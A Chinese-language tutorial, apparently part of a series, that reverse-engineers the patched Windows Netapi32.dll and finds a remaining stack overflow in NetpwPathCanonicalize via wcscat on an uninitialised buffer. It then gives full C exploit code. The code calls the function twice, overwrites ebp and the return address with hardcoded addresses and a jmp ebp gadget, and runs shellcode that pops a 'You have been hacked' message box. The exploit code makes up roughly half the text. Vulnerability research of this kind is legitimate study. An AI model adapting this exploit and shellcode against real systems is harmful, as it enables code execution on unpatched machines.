前言
经过前两次的分析,我们已经对Netapi32.dll文件中所包含的漏洞成功地实现了利用。在系统未打补丁之前,这确实是一个非常严重的漏洞,那么打了补丁之后,这个动态链接库是不是就安全了呢?答案是否定的。即便是打了补丁,虽说我们之前所分析的漏洞已被补上,但是这个程序中依旧存在着其它的问题。
对漏洞函数进行静态分析
我们之前所研究的Netapi32.dll的大小为309,008 字节,补丁后的文件大小为309,760 字节。我们用IDA Pro载入打过补丁后的DLL文件,找到之前出现问题的函数位置进行分析:
图1
补丁前的程序之所以会出现问题,就是因为程序并未对第二个参数的长度做出足够的限定。补丁前的程序在以宽字符的形式计算出第二个参数的长度之后,是与0x411进行比较的,也就是说,只要第二个参数的长度不大于0x822个字节就可以。但是在补丁后的程序中,如上图所示,在位于0x71BA42BC中的比较语句,是将第二个参数(Source)与0x207相比较,也就是说,此时第二个参数的大小不能够超过0x414个字节,而栈空间分配的就是0x414个字节,因此不会出现溢出的情况。所以如果想实现漏洞的利用,还需要进一步深入挖掘才可以。对此,我们可以从这个函数最开始的部分进行分析:
图2
程序在分配了0x414字节的空间之后,利用异或运算将esi中的内容清空,然后将[ebp+arg_0]与esi也就是0进行比较,其实这也就是在判定,指向第一个字符串的指针是否为空。如果为空,那么接下来的条件跳转不成立,程序就会来到0x71BA42AE的位置执行。如果指向第一个字符串的指针不为空,但是指向的却是空的字符串,见下图:
图3
这里对第一个字符串的长度进行测定,如果字符串内容为空,也就是长度为0,那么接下来的跳转成立,程序会直接来到0x71BA42B5的位置执行:
图4
程序在这里会将未初始化的缓冲区以及第二个参数(Source)利用wcscat函数进行连接。其实这是一个非常不安全的操作,因为尚未初始化的栈空间的长度是未知的,甚至可能超过起初分配的0x414个字节,然后再与参数二进行连接,就会有缓冲区溢出的隐患。
这里有一个问题需要说明的是,为什么第一个参数指向的字符串拷贝到缓冲区就不会有这个问题,而第二个参数复制进缓冲区就会有隐患呢?这是因为第一个参数字符串使用的是“wcscpy”进行拷贝的,它会将字符串从缓冲区的起始位置进行拷贝。而第二个参数使用的是wcscat,它会检查缓冲区中的“ ”也就是字符串的尾部位置,然后将新的字符串拷贝到“ ”的位置,最后再加上“ ”作为结尾。
那么现在的问题就是应该如何控制缓冲区的内容和大小。一个简单的做法就是连续调用两次CanonicalizePathName()函数。当第一次调用该函数时,缓冲区第一次被填充并进行字符串连接的操作,当第一次调用结束的时候,恢复栈帧,释放缓冲区空间,此时只要不做任何的栈空间操作(比如函数调用),那么原始缓冲区中的内容是不会改变的。而第二次调用时,还会继续对这块缓冲区进行操作,那么此时就会还保留有第一次调用时的数据,于是就存在着溢出的风险。
函数CanonicalizePathName()是不能够被直接调用的,因为它是NetpwPathCanonicalize()的子函数。所以这里可以回到NetpwPathCanonicalize()中来看一下二者之间的调用方式:图5
由上图可见,当CanonicalizePathName()调用完毕后,程序会对其返回值(保存在eax中)进行判断,也就是与edi相比较,而edi在这里是恒为0的,那么这里也就是在验证其返回值是否为0。如果不为0,那么就会跳到0x71BA4284处执行,也就是函数退出的位置。如果为0,那么接下来还会有其它的函数调用。刚才说了,只要没有其它的函数调用,那么缓冲区的内容就不会被更改,也就是说,我们这里希望CanonicalizePathName()的返回值不为0,让程序接下来直接退出,以保证缓冲区中的内容不被更改。那么该如何让它的返回值不为0呢,我们可以看一下该函数最后一部分的反汇编代码:
图6
在上图中,位于0x71BA431E处的wcslen用于计算合并后的路径字符串的长度,注意这个长度是Unicode的,因此下面的eax+eax+2实际上也就是在计算合并后的字符串一共有多少个字节,这里加上2是因为还需加上末尾的两个空字节。接下来利用比较语句,将字节长度与arg_C相比较。注意这里的arg_C是用于保存连接后的字符串的缓冲区空间的大小。如果相比较的结果是缓冲区空间大,那么就会执行左边的流程,进行字符串的拷贝操作,并将eax置零后返回。如果缓冲区的空间小,那么执行右边的流程,于是eax的值就不为0了。依据这一点,我们在第一次调用的时候,可以将缓冲区空间的大小,也就是arg_C的值设置小一点,就能够让它返回非零值了。
漏洞利用程序的编写
依据上面的分析,就可以进行漏洞利用程序框架的编写:- #include <windows.h>
- typedef void (*MYPROC)(LPTSTR,...);
- #define StrCat_SIZE_1 0x184
- #define StrCat_SIZE_2 0x2C0
- #define lpWideCharStr_SIZE 0x440
- #define StrCpy_SIZE 0x410
- int main()
- {
- char Source_1[StrCat_SIZE_1];
- char Source_2[StrCat_SIZE_2];
- char lpWideCharStr[lpWideCharStr_SIZE];
- int arg_8 = lpWideCharStr_SIZE;
- char arg_C_1[StrCpy_SIZE];
- char arg_C_2[StrCpy_SIZE];
- long arg_10_1 = 44;
- long arg_10_2 = 44;
- HINSTANCE LibHandle;
- MYPROC Func;
- char DllName[] = "./netapi32.dll";
- char FuncName[] = "NetpwPathCanonicalize";
- // 将当前目录中的netapi32.dll载入内存
- LibHandle = LoadLibrary(DllName);
- if (LibHandle == 0)
- {
- MessageBox(0, "Can't Load DLL!", "Warning", 0);
- return 0;
- }
- // 获取NetpwPathCanonicalize()函数的地址
- Func = (MYPROC)GetProcAddress(LibHandle, FuncName);
- if(Func == 0)
- {
- MessageBox(0, "Can't Load Function!", "Warning", 0);
- FreeLibrary(LibHandle);
- return 0;
- }
- // 用字符a填充第一次函数调用时,wcscat连接的内容
- memset(Source_1, 0, sizeof(Source_1));
- memset(Source_1, 'a', sizeof(Source_1)-2);
- // 用字符b填充第二次函数调用时,wcscat连接的内容
- memset(Source_2, 0, sizeof(Source_2));
- memset(Source_2, 'b', sizeof(Source_2)-2);
- // 用0填充两次函数调用中,wcscpy复制的内容
- memset(arg_C_1, 0, sizeof(arg_C_1));
- memset(arg_C_2, 0, sizeof(arg_C_2));
- // 连续调用两次NetpwPathCanonicalize()函数
- (Func)(Source_1, lpWideCharStr, 1 , arg_C_1, &arg_10_1, 0);
- (Func)(Source_2, lpWideCharStr, arg_8, arg_C_2, &arg_10_2, 0);
- FreeLibrary(LibHandle);
- return 0;
- }
可见这里出现了缓冲区溢出的错误,溢出地址为0x62626262,也就是小写字母“b”。那么我们只要让这个返回地址跳转到我们所编写的ShellCode的位置就可以了。由于当函数返回时,ecx不会指向栈顶空间,因此我们这次就不能够使用call ecx了。所以这里我打算将ebp的值覆盖为栈顶地址,然后将返回地址覆盖为jmp ebp,再将ShellCode植入栈顶,从而实现漏洞的利用:
- #include <windows.h>
- typedef void (*MYPROC)(LPTSTR,...);
- #define StrCat_SIZE_1 0x184
- #define StrCat_SIZE_2 0x2C0
- #define lpWideCharStr_SIZE 0x440
- #define StrCpy_SIZE 0x410
- char ShellCode[] =
- "x90x90x90"
- "x33xDB" // xor ebx,ebx
- "xB7x06" // mov bh,6
- "x2BxE3" // sub esp,ebx
- "x33xDB" // xor ebx,ebx
- "x53" // push ebx
- "x68x69x6Ex67x20"
- "x68x57x61x72x6E" // push "Warning"
- "x8BxC4" // mov eax,esp
- "x53" // push ebx
- "x68x2Ex29x20x20"
- "x68x20x4Ax2Ex59"
- "x68x21x28x62x79"
- "x68x63x6Bx65x64"
- "x68x6Ex20x68x61"
- "x68x20x62x65x65"
- "x68x68x61x76x65"
- "x68x59x6Fx75x20" // push "You have been hacked!(by J.Y.)"
- "x8BxCC" // mov ecx,esp
- "x53" // push ebx
- "x50" // push eax
- "x51" // push ecx
- "x53" // push ebx
- "xB8xeax07xd5x77"
- "xFFxD0" // call MessageBox
- "x53"
- "xB8xFAxCAx81x7C"
- "xFFxD0" ; // call ExitProcess
- int main()
- {
- char Source_1[StrCat_SIZE_1];
- char Source_2[StrCat_SIZE_2];
- char lpWideCharStr[lpWideCharStr_SIZE];
- int arg_8 = lpWideCharStr_SIZE;
- char arg_C_1[StrCpy_SIZE];
- char arg_C_2[StrCpy_SIZE];
- long arg_10_1 = 44;
- long arg_10_2 = 44;
- HINSTANCE LibHandle;
- MYPROC Func;
- char DllName[] = "./netapi32.dll";
- char FuncName[] = "NetpwPathCanonicalize";
- // 将当前目录中的netapi32.dll载入内存
- LibHandle = LoadLibrary(DllName);
- if (LibHandle == 0)
- {
- MessageBox(0, "Can't Load DLL!", "Warning", 0);
- return 0;
- }
- // 获取NetpwPathCanonicalize()函数的地址
- Func = (MYPROC)GetProcAddress(LibHandle, FuncName);
- if(Func == 0)
- {
- MessageBox(0, "Can't Load Function!", "Warning", 0);
- FreeLibrary(LibHandle);
- return 0;
- }
- // 用字符a填充第一次函数调用时,wcscat连接的内容
- memset(Source_1, 0, sizeof(Source_1));
- memset(Source_1, 'a', sizeof(Source_1)-2);
- // 将ShellCode拷贝到缓冲区中
- memcpy(Source_1, ShellCode, sizeof(ShellCode));
- // 将ShellCode后面的0x00填充为0x90
- Source_1[sizeof(ShellCode)-1] = 0x90;
- // 用字符b填充第二次函数调用时,wcscat连接的内容
- memset(Source_2, 0, sizeof(Source_2));
- memset(Source_2, 'b', sizeof(Source_2)-2);
- // 将ebp覆盖为栈顶地址
- Source_2[0x2AA] = 0x44;
- Source_2[0x2AB] = 0xea;
- Source_2[0x2AC] = 0x12;
- Source_2[0x2AD] = 0x00;
- // 将返回地址覆盖为jmp ebp
- Source_2[0x2AE] = 0x98;
- Source_2[0x2AF] = 0xd4;
- Source_2[0x2B0] = 0xbb;
- Source_2[0x2B1] = 0x71;
- // 用0填充两次函数调用中,wcscpy复制的内容
- memset(arg_C_1, 0, sizeof(arg_C_1));
- memset(arg_C_2, 0, sizeof(arg_C_2));
- // 连续调用两次NetpwPathCanonicalize()函数
- (Func)(Source_1, lpWideCharStr, 1 , arg_C_1, &arg_10_1, 0);
- (Func)(Source_2, lpWideCharStr, arg_8, arg_C_2, &arg_10_2, 0);
- FreeLibrary(LibHandle);
- return 0;
- }
当然我相信大家经过自己的研究,会有更加优秀的漏洞利用方式,也希望我的代码能够起到抛砖引玉的效果。